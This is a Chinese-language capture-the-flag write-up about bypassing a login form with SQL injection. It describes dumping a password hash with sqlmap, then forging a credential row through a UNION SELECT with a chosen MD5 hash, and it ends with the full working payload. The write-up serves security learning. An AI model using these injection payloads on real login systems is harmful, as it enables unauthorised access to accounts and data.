看了大佬的博客,勉強整出來了,詳細的寫一下我的思路。
錯誤思路:
觀察發現是post傳值,想用sqlmap一把嗦,BP抓包=>sqlmap
得到數據庫:web_sqli
表:user
字段:passwd
得到密碼是cdc9c819c7f8be2628d4180669009d28
得到passwd以後想爆一下username:admin
爆是爆出來了,沒啥亂用。撞庫也撞不出來,沒轍了。
正確思路:
利用sqli的特性:在聯合查詢並不存在的數據時,聯合查詢就會構造一個虛擬的數據。
說人話,上實例:
在聯合查詢之前,數據庫是和樣子的。
執行聯合查詢:select * from 'users' where name='person' union select 1,'admin','e10adc3949ba59abbe56057f20f883e',4,5
執行後:
按照我們的輸入,sqli在數據庫中寫入數據,相當於僞造了一個身份,就可以用這個身份登錄了。
經過前面錯誤的試探,我們發現字段是id,username,passwd。
但是不知道三個的順序是怎麼樣的,進行試探:
如果輸入是'admin',1,1#
,報錯wrong user。
而我們是知道有admin
這個賬號的,那麼證明順序不是這個。
再試:
輸入變爲1,'admin',1
時,就報wrong pass
,證明admin
的位置對了,id跟passwd的位置先隨便試吧。
已知123
的md5值是202cb962ac59075b964b07152d234b70
。
構造
name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
執行之後,盲猜後臺的數據:
id | username | passwd |
---|---|---|
1 | admin | 202cb962ac59075b964b07152d234b70 |
而執行sqli的同時,我們還同時傳入了一個passwd = 123
系統將這個passwd
md5哈希後與數據庫中的數據進行對比,True後返回flag。